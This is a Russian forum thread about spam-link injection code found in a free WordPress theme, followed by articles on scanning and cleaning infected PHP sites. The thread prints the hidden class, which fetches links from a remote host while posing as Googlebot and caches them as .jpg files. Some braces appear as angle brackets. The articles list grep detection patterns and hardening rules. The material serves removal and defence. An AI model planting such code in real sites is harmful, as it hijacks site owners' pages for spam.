File get contents вирус
Добрый день.
Обнаружил с помощью плагина антивируса в шаблоне WP подозрительный код.
И так поведение сайта очень не нравиться (какие-то ссылки в инструментах гугл, не индексируется яшей) а тут еще .
В php не понимаю ничего практически, нужна подсказка что это и как бороться.
А еще подскажите где взять для этого движка бесплатный нормальный шаблон (если этот сложно будет исправить, я на него много времени потратил, но если нужно то сменю) (интересует проверенный ресурс). Покупать пока свободных средств нету. Постоянно работал на DLE так там проблем с таким нету, а тут экспериментов захотел и боком вылезло.
Антивирус показывает: (для удобства прикрепил скрин)
$data = @file_get_contents('http://' . $host . $path, false, $contex .
file_put_contents($file, $data);
А еще интересует есть ли связь с этими штуками с этими непонятно откуда взявшимися ссылками в инструментах вебмастера гугл, раньше я думал что это ссылки с прошлого владельца сайта, но теперь мнение изменилось:
Если берёте шаблон отсюда:
вирусов не будет.
Хотелось бы узнать что этот вирус делает . и по возможности убрать .. так как много чего сделано . навигация, микроразметка рейтинга, все выровнял . всего и не упомнишь, что если эти строки убрать и все ?
Выложил файл functions.php может кто глянет.
host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) <
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: <$req_url>\r\n".
"User-Agent: <$_user_agent>\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\ )(.*?)(\ )/', $data, $data);
$data = @$data[2];
return $data;
>
return ' ';
>
function return_links($lib_path) <
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
<
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
> elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) <
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
> else <
$data = file_get_contents($file);
return $data;
>
>
>
Короче выяснилось что t1mkke прав, но если убрать этот класс то слетает шаблон, то же происходит если взять файл из оригинального шаблона.
Я нашел, используется в comments.php. Вот что этот кретин написал на своем сайте.
Убрал, подскажите пожалуйста, поможет ли (пропадут ли ссылки) если оставить код в functions.php ?
Правила использования шаблонов
Наш сайт помогает пользователям подобрать качественный шаблон для своего сайта. Взамен мы размещаем на сайтах, использующих шаблоны, скрытые или видимые ссылки, которые не портят внешний вид как шаблона, так и самого сайта, использующего данный шаблон.
Если вы хотите чтобы на вашем сайте не выводились партнерские ссылки, вам нужно отредактировать файл шаблона “comments.php”(иногда код находится в “footer.php”), удалив код:
get_remote(); echo $links; ?>
На шаблон greyzed решение - полностью удалить функцию с файла functions.php (убрать этот код):
var $host = 'wpcodes.org';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() <
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) <
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: <$req_url>\r\n".
"User-Agent: <$_user_agent>\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\ )(.*?)(\ )/', $data, $data);
$data = @$data[2];
return $data;
>
return ' ';
>
function return_links($lib_path) <
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
<
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
> elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) <
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
> else <
$data = file_get_contents($file);
return $data;
>
>
>
И поменять файл comments.php на оригинальный (если просто убрать вывод класса то слетает шаблон).
Проблема решена. Иду писать пламенные отзывы о "хорошем" сайте "wp-templates.ru".
Бесплатные темы только здесь (http://wordpress.org/themes/) и нигде больше, запомните! В остальных случаях вы расплачиваетесь шеллами, вирусами и спам-мейлерами.
Проблема решена. Иду писать пламенные отзывы о "хорошем" сайте "wp-templates.ru".
Уже давно все написано тут (http://ru.forums.wordpress.org/forum/blacklist)!
истерить ни к чему, шаблоны на то и "бесплатные", что сделали их за вас.
Бред. Во первых, пусть даже беслпатные, но не они их сделали, этот труд других людей. Какое они имеют право тыкать туда свою заразу!?
И почему вы мошенников защищаете ? Я вижу вы же с вирусами боретесь на сайтах. Клиентов меньше не станет.
ну уж а если владелец ресурса сам честно пишет о наличии вставки, то совет простой - читайте описания перед использованием.
или в банке после получения кредита вы тоже будете кричать, что там куча комиссий, а вы хотели только денег без процентов.
Во вторых, в описании ничего нету, в правилах сайта нашел, потом уже. Вы тоже полностью читаете правила каждого сайта перед тем как скачать с него какой-то файл ?
Тема походу его, я уже гуглил на это тему, но толку здесь кому то что то на этом форуме доказывать нету, много здесь таких нехороших людей, а администрация или в доле или пофигу им.
не они их сделали,
какая разница кто делал, скачивали вы с этого сайта, соответственно владелец может добавлять что хочет в те архивы, которые у себя держит
мошенников защищаете
не защищаю, а всего лишь читаю тему с ненужными криками
как говорил ранее, шаблоны не зря называются "бесплатными"
в описании ничего нету
но
в правилах сайта нашел
пример про банк выше, у них тоже много чего не на виду, но оплачивать потом приходится
Движок вордпресс тоже бесплатный, его создают не делают же дорвеи из наших сайтов и блогов.
Мое личное мнение и думаю мнение большинства нормальных людей что сайты нужно делать для людей и не пихать туда ерунду всякую делая из других сайтов бесплатный sape и отправлять их в бан. Такие сайты и люди осуждаются в нормальных кругах, На этом форуме куча шарлатанов и кидал мне известно так что не сильно удивляют ваши слова. Не вызывает уважения у меня ваше безразличие и даже поддержка таких людей. Я сделал свой маленький взнос и написал отзывов от души, даже в гугл и яше написал. Мое право.
Jaf4, я и не говорил что мелкий шрифт - это хорошо, но согласитесь, что читать то его все равно надо и никто от этого не освобождает.
а на деле что получается? шаблон из паблика, хорошо еще если рерайт будет (а не копипаст) и все моргает, кликнуть некуда - если не в тизер ,то в попандер точно попадешь.
разве не так у вас? и рекламу совсем не думали куда получше воткнуть? если нет, то это очень хорошо, тогда я к вам с удовольствием зайду и почитаю о чем пишите.
par14ok, А проверить тему на вирусы перед тем как её использовать? Не хочется оправдывать никого, но что же вы ожидали от бесплатного шаблона. У халявы свои минусы.
И если уж речь зашла о сайтах для людей, то поддержу мысль kgtu5, пользователю как то наплевать какие у вас там ссылки в футере, а вот разбросанные по всему сайту баннеры, тизерки, реклама, мягко говоря раздражают.
zerocube, ладно бы ссылки разместил просто на свой сайт, и не продавал на право налево ссылки на моем сайте . дело в том что яндекс этот сайт в упор отказывался индексировать - возможно принял за дорвей.
kgtu5, у ваших рабочих записках (я не стал искать другие ваши сайты) тоже шаблон из паблика так что давайте не будем о книгах и т.п. основы css и html я знаю, говорят учить на зубок не нужно, со временем выучится. А c php еще не знаком.
Раз вам так интересно то я вам расскажу что у меня совсем не так как вам кажется.
Проекты мои не настолько серьезны что бы покупать или писать на них дизайн. ПС за это вроде как пока не наказывают. Первый сайт 100 статей, действительно большинство - рерайт ручной + полностью мой обзор. несколько своих статей.. И этого вполне хватает потому что там в основном обучающие программы, больше на эту тему не напишешь. Но сайт по себе уникальный, одной тематики, на нем собрано то что не собрано нигде. Люди заходят, выбирают на свой вкус. И это пока остается актуально.
Реклама - только адсенс. Куда воткнуть ? Стоит в местах из советов гугла. Думал еще в полную новость напихать но передумал, говорят отпугивает пользователь. Яндекс отказался от тизеров. Не хочу. Никаких попапов, ничего не мигает. До директа еще не дорос, пока только 150 уников, но с каждым апом яши это число растет. Жду.
Ссылки для скачивания - яндекс диск, никаких ФО. На прямые места пока нет.
Этот сайт о котором шла речь тоже будет тоже не большой если оживет. Может чуть больше статей чем на первом, цель в принципе та же, только на другую тему. Здесь возможно будет форум небольшой. Такого сайта тоже пока нету.
Есть еще 2 сайта, там я только начинаю их наполнять, 1 будет рерайт с проверкой на работоспособность (то что там будет может не работать или перестать работать). Этот сайт можно будет назвать сателлитом, только этот.
2й будет на несколько страниц всего, уже пишу сам.
пользователю как то наплевать какие у вас там ссылки в футере, а вот разбросанные по всему сайту баннеры, тизерки, реклама, мягко говоря раздражают.
пользователю наплевать, если он находит через поисковик то, что нужно. Но иногда не находит ни за минуту, ни за 10.
Этот сайт о котором шла речь тоже будет тоже не большой если оживет.
за одного битого двух небитых дают. Все норм. :idea:
Jaf4, мы на "ты" не переходили вроде, не кипятитесь, вздохните поглубже.
я думаю ТСу не 10 лет, чтобы видеть все вокруг в розовых красках, мир так то очень хреновый и во многом основан на заработке, это текущая реальность.
ТС создает сайт: качает движок, пишет в поисковике - красивый бесплатный шаблон вордпресс, переходит по первой попавшейся ссылке, скачивает, устанавливает, вешает рекламу и больше не о чем не думает, люди ходят, денежка капает, все просто и понятно.
Надеюсь спорить не будем - бесплатный сыр только в мышеловке.
Задумываться о бесплатности надо. Ну хотя бы отзывы о сайте можно было почитать.
Как следствие - спам-ссылки, шеллы и прочая грязь.
Да, это не приятно, обидно и т.д. Но зато сейчас ТС стал умнее и в следующий раз уже будет либо сам делать (что есть хорошо), либо проверять то что качает.
Я откуда знаю, чем он его не устроил.
спросите ТСа
почему ТС не сделал свой шаблон, ну или на крайняк стандартный не перекроил на свой лад (их там все таки 3 уже засунуты)? не умение/не знание? или желание скорее состряпать и денежку получать?
Я откуда знаю, чем он его не устроил. :D: Может тем, что там размещено старое гавно, которое ему не подошло. А может быть он его не знал, не нашел и т.п. Может быть ему поставили этот шаблон какие-нибудь нанятые исполнители.
Именно потому и не устроил.
Ставлю я все сам, и переделываю и настраиваю тоже.
но она есть, значит альтруистических рассуждений о чистоте интернета не стоит разводить, ее наличие говорит о вашем желании заработать, а не просто "нести светлое людям"
При чем здесь это, стоит общепринятых принципов придерживаться, нормальные веб-мастера обычно совмещают желание заработать и нести светлое. И по секрету вам скажу у них не плохо получается.
. сейчас обсуждаем вас и вашу тему, а не меня
Тему уже обсудили и решили, а если вы не заметили то сейчас вы обсуждаете меня и то "как я не правильно делаю сайты". Ну и еще вы настаиваете на том что нельзя использовать шаблонные дизайны, особенно с не официальных источников, и делать там сайты которые вам не нравятся, но зато можно и даже нужно глядя на наше время где всё делается ради денег делать сайты похожие на wp-templates.ru. Так позвольте я вас немного обсужу.
почему нет. это во многом было бы и вам полезно и остальным приятно, а не стандартный "шаблонный" сайт, не вы же один этот шаблон скачали.
Я вам уже писал об этом, вордпресс я поставил первый раз. Вы же тоже начинаете знакомство с cms с написания дизайна к ней и изучения нужных языков программирования ?
ТС создает сайт: качает движок, пишет в поисковике - красивый бесплатный шаблон вордпресс, переходит по первой попавшейся ссылке, скачивает, устанавливает, вешает рекламу и больше не о чем не думает, люди ходят, денежка капает, все просто и понятно.
А наполнять контентом не надо ? Настраивать, оптимизировать тоже не надо ? А годик где-то подержать сайт без рекламы и оплачивать домен и хостинг тоже не надо ? Ваши знания о том как быстро и эффективно создавать сайты меня поражают.
Даже если и делать рерайт, то уж лучше так чем wp-templates.ру.
Вы смотрю такой противник халявного, наверное у вас ОС лицензийная, все программы купленные, вы же не будете использовать бесплатные и пиратские, не так ли ? Ведь бесплатный сыр только в мышеловке, вы конечно же задумывались что однажды к вам домой могут придти люди в погонах и арестовать вас за пиратский софт ? :bl:
На счет сайтов ваших, если вы их скрываете то скорее всего не найду, а так если покопаться то можно)) Но зачем ?
А еще хотел вас спросить, вы на своих первых сайтах тоже сами сразу писали с ходу дизайн и наполняли собственными статьями ? Или ГС'ы на ucoz'е клепали ?
смеяться ни к чему, я озвучил то, как выглядит ваш старт и последующие посты: вы нашли сайт, скачали шаблон, поставили себе.
соответственно сами и виноваты, никто вас не заставлял, голова у вас своя и думать за вас никто не будет.
противник халявного
вы не поняли о чем я говорил, скажу по другому - если качаете с файлопомоек, будьте готовы к подобного рода сюрпризам.
А наполнять контентом не надо ? Настраивать, оптимизировать тоже не надо ? А годик где-то подержать сайт без рекламы и оплачивать домен и хостинг тоже не надо ?
быстро и эффективно создавать сайты
вас интересует заработок, не обманывайте себя и читающих, ваши ответы красноречиво об этом говорят. Вас задел именно сам факт обогащения за счет вашего сайта, а не присутствие ссылок. Или все копирайты оставлены не тронутыми? Думаю вряд ли, наверняка убрали их одними из первых.
P.S.
да, свой первый сайт делал сам, так же на бесплатном движке.
да, переделывал верстку сам (пусть и криво) из стандартного шаблона не зная ничего ни о html, ни о php, все постепенно приходилось читать.
нет, виндовс не официальный.
нет, не скрываю, ищите.
нет, рерайт, но я и не говорю, что я хотел нести светлое людям, я делал для заработка, а не ради "общепринятых принципов нормальных веб-мастеров"
вы не поняли о чем я говорил, скажу по другому - если качаете с файлопомоек, будьте готовы к подобного рода сюрпризам.
смеяться ни к чему, я озвучил то, как выглядит ваш старт и последующие посты: вы нашли сайт, скачали шаблон, поставили себе.
соответственно сами и виноваты, никто вас не заставлял, голова у вас своя и думать за вас никто не будет.
вас интересует заработок, не обманывайте себя и читающих, ваши ответы красноречиво об этом говорят. Вас задел именно сам факт обогащения за счет вашего сайта, а не присутствие ссылок. Или все копирайты оставлены не тронутыми? Думаю вряд ли, наверняка убрали их одними из первых.
Меня задело то что я много усилий приложил для настройки этого шаблона и факт того что сайт не индексировался яндексом. А еще наличие ссылок в вебмастере и куча ошибок. А тут вдруг у меня мысль что из за какого-то дегенерата мне нужно его будет поменять и настраивать снова.
Люди ведь не ходят на работу что бы помочь стране там, или людям другим. Ходят ради зарплаты. А тех кто не хочет работать а идет убивать и грабить - наказывают.
То что сайт должен приносить деньги это нормально, какого черта я буду сутками сидеть за монитором и ничего за это не получать ;) И способ этот нормальный, людям помогает найти что они искали. А вот обманывать принося людям вред - плохо так же как убивать и воровать. Кидал и любителей внедрить тоже наказывают, ломают и ддосят сайты, делают черные списки. Не знаю как на этом форуме но в среде dle например такое практиковалось раньше, сейчас общаюсь на форумах мало, не знаю, но думаю есть.
Я тот факт что делаю сайты ради денег не скрывал как бы. Не понимаю откуда вы во мне увидели неугасимое желание нести светлое. Я сказал что сайты нужно делать для людей, понятие такое есть, СДЛ - что бы можно было нормально зайти, скачать то что искал или посмотреть, без попапов, без миганий, без вирусни, нормально все, красиво, в общем нормальные сайты, которые принесут в итоге пользу как пользователю так и владельцу пусть даже они будут на шаблонах из паблика. Я не знаю где вы в моих сообщениях альтруизм как вы сказали увидели.
Ну да убрал копирайт, там обычно люди свои псевдо-копирайты ставят. Что оставил - ссылку на wordpress.org.
На счет вопросов о наличии пиратского и халявы. То что она присутствует это хорошо, это дает возможность начать тем у кого нету денег, так бы сайты делали бы только избранные.
Сайты поищу )
Обновление от 07.12.2012: Если ваш сайт сломали, вам сюда .
Всё больше набирают популярность вирусы, написанные для сайтов. Вы заходите на сайт, "Касперский" говорит, что сайт заражён вирусом. В действительности, сам вирус находится на одном из компьютеров, имеющих ftp доступ к сайту. Он незаметно для хозяина крадёт пароли от ftp, подключается и вставляет в скрипты сайта паразитный код. Чаще всего это скрытые ссылки на китайские сайты.
Вы обновляете свой антивирус, лечите заражённый компьютер, а сайт остаётся в нерабочем состоянии с большим количеством испорченных файлов. Искать код вручную задача не из приятных. Но можно упростить себе жизнь при помощи несложных скриптов.
Полагаем, что информация, изложенная в частых вопросах , известна, локально вирус обнаружен и удалён, все пароли доступа сменены.
Для начала нужно найти все файлы, заражённые вирусом. Искать на дальнем хостинге не всегда возможно (нужен доступ ssh и специальные навыки или другие инструменты), скачать весь сайт на локальный компьютер тоже не лучший вариант (особенно если админка битрикса не работает вместе с системой резервного копирования). Но у нас всегда есть php! Поиск текста в файле по сути задача тривиальная, надо только прикрутить рекурсивное сканирование директорий и вот что получается:
Скрипт показывает форму для ввода кода вируса (или иного текста, который надо найти), затем начинает сканировать все файлы с расширением "php" в текущей папке и подпапках. Список найденных файлов сохраняется в filelist.txt , затем он выводится на экран.
Обратите внимание, скрипт написан для php5, на php4 потребуется заменять функцию file_get_contents
Вот как это выглядит у меня:
Но есть одна проблема: на хостинге не получится за один хит прочитать все php файлы сайта ввиду ограничения ресурсов. Чтобы решение было жизнеспособным надо выполнять его по шагам.
1. Уметь продолжать поиск из любого места, для этого нужно иметь точку входа и всякий раз "проматывать" на неё.
2. После выполнения ряда действий проверять лимит по времени, и если он исчерпан - прерывать выполнение, передав текущую точку себе же.
3. Проверить окончание и показать результат.
- Архитектурно скрипт немного изменится, теперь сверху будет собственно поиск, а форма ниже. До неё мы дойдём только по окончанию операции.
- В функцию поиска вставим проверку на истечение времени (10 секунд) и определение пути, на котором прервалась операция в константе BREAK_POINT .
- Если определена константа BREAK_POINT после вызова функции поиска - показываем форму, которая отправляет запрос со значением текущего пути.
- Для "прокрутки" к последней папке используем такой алгоритм: отбрасывается последний элемент текущего пути, если оставшаяся часть не является началом искомого пути - идём дальше. Проверка делается до тех пор, пока текущий путь не будет совпадать с искомым.
В итоге получился такой код:
После запуска скрипт выглядит также, но добавился важный функционал пошаговой работы.
В результате получим filelist.txt , содержащий список заражённых файлов.
Резонный вопрос: а почему сразу не удалять вирус?
Потому что есть серьёзная опасность автозаменой потерять данные из своих скриптов.
В чистом виде я умышленно не даю такое решение. Вы должны хорошо осознавать возможные последствия автоматического удаления кода. Изменения такие:
-
В форму добавьте кнопку
Определение функции Mark замените на
Теперь по нажатию кнопки "CURE!" введённый текст будет автоматически удаляться начиная с папки, где лежит сам скрипт, и ниже. Исходные файлы сохраняются с расширением "orig".
В текстовое поле надо будет ввести паразитный код целиком, иначе он удалится только частично и проблема только усугубится. Будьте предельно внимательны при выполнении такой операции, не забудьте сделать полную резервную копию!
Немного изменённый скрипт из сообщения можно скачать по ссылке: find_text.php
По умолчанию автозамена отключена. Чтобы включить - закомментируйте или удалите вторую строчку:
define('DisableReplace',true); |
Добавил возможность отката автозамены.
Обновление от 04.09.2012
Для начала небольшая история
Жил как-то один монах. Все него было нормально в его монашеской жизни, тихо и скромно молился он в своем монастыре, работал на послушаниях, периодически пил чай, заваривая крупные листья прямо в своей монашеской чашке. Да и много ли монаху нужно, и был у него покой и мир в душе. А вот однажды подарили ему ситечко для чая, чтобы чай заваривать не в чашке, а в ситечке, удобно ведь, чаинки по чашке не плавают, и на зуб не попадают. Все здорово, и ситечко хорошее, красивое и чай теперь заваривать удобно, да вот незадача, за ситечком нужно следить, после каждой заварки мыть его, давать ему просохнуть, где-то хранить между чаепитиями. Вот и появилась у монаха лишняя забота, отвлекающая его от монашеской жизни. Уж лучше без ситечка, спокойствия больше…
К чему это я. А к тому, что есть у меня хостинг на котором крутятся несколько веб-серверов. Все там хорошо, удобно, да вот только следить нужно за ними внимательно.
Однажды, холодным летом 2017 года, уехал я в отпуск. Сервера работают, все хорошо, так что можно расслабиться недельки две. Связь не очень, интернет сотовый, так что не слишком следил за всем этим хозяйством. Приезжаю, а сервера не работают. Что такое? Заглядываю системные сообщения, а там послание от провайдера. Мол выключили мы ваш сервер, поскольку нарушаете вы такой разэдакий соглашение, занимаетесь культивированием вирусов. Посмотрите внимательно, мол на вот этот список файлов и примите меры. Смотрю я, а там… Мама дорогая, кишат вирусы на всех серверах. Для начала прогнал Касперским, тот сказал, что заразу зовут Troyan.PHP.Agent. Лечить не смог, поудалял половину файлов, это мне не подойдет, значит нужно руками восстанавливать.
Как это выглядит? Во-первых, во всех каталогах, где были файлы
index.html теперь комплект
index.html.bak.bak
index.php
при этом на index.php стоит атрибут разрешения запуска. Что уже настораживает, обычно это не нужно.
в самом файле ссылки на запуск вируса такого вида
т.е. по алгоритму сначала запускается некий вирусный код, а затем уже старая страница. Причем этот код вкрапился не только в index.php, но еще в большое количество случайных файлов с расширением php, и еще добавил свои файлы с определенными именами, к примеру footer.php или rss.php где прячется тело вируса
Вирус даже имена старается давать какие-то осмысленные, типа нужные файлы. Кстати, интересно, лежат зараженные файлы с расширением ico, а не только php
Все в зашифрованном виде. в отдельные файлы тоже красиво добавился, с большим количеством пробелов, чтобы не видно было, если переносов строк
не делать. Заглядываем в редакторе, вроде все нормально
А вот только включим перенос строк и вот здесь оказывается еще много чего интересного
Также если посмотреть почтовый протокол, то там множество попыток отослать что-то на различных пользователей домена ispmail.ru. Благо хостер не
дает отслылать почту с сайта на левые адреса, так что протокол пестрит отшибками отправки.
Как лечить зараженный Troyan.PHP.Agent сайт? Если файлов много, то наиболее простой способ восстановиться из копии, если она конечно есть. Если копии нет, то придется лазить ручками по всем файлам и удалять вредоносный код. Благо сами файлы текстовые и это вопрос времени и усидчивости. Правда, если пропустить хоть один файл, то заражение будет повторным.
Для начала я просканировал все антивирусом и удалил лишнее, что нашел. Антивирус хочет удалить вообще все, где встречает подозрительный код, но тут ограничиваем его фанатизм и помогаем ручками.
Затем просканировал каталоги по простому и переименовал обратно в html все, что вирус мне напортил, а сам код удалил.
rm index.php
mv index.html.bak.bak index.html
chmod ugo-x index.html
Теперь черед за отдельными файлами.
Ищем файлы с атрибутом разрешения запуска и выводим в протокол
find /home/ -name “*.php” -perm /a=x -print > text1.txt
С каждым придется разбираться отдельно. Возможно, некоторые нужны, но если в них будет вирусный код, его нужно чистить.
Ищем файлы, где меняются глобальные переменные, вирус в первую очередь делает это
grep -r ‘GLOBALS\[‘ /home/ > text2.txt
Здесь мы видим на фоне вполне читаемых текстов, какой-то подозрительный код в файле work.php. Глобальные переменные и сплошное шифрование, удаляем.
Поищем PHP с шифрованием кода
grep -r ‘php $ <“‘ /home/ >test2.txt
И всякие преобразования
grep -r ‘eval/’ /home/ >test.txt
И, к примеру, множество пробелов
grep -r ‘ ‘ /home/ > test3.txt
И еще напоследок разные варианты для поиска
поиск скриптов, где включаются файлы
grep -r “echo file_get_content” /home > text2.txt
grep -r “@include ” /home/ > text3.txt
поиск кодированной точки с запятой из текущего каталога и ниже, возможен вирус
Запрещаем запуск в каталоге загрузки
RemoveHandler .php .phtml .pl
AddType text/plain .php .phtml .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
Options -ExecCGI
php_flag engine 0
В каталоге администрирования запрещаем админку для всех адресов, кроме нашего
Order Deny,Allow
Deny from all
Allow from ваш._.IP
Надеюсь, кому-нибудь поможет эта информация.
Читайте также: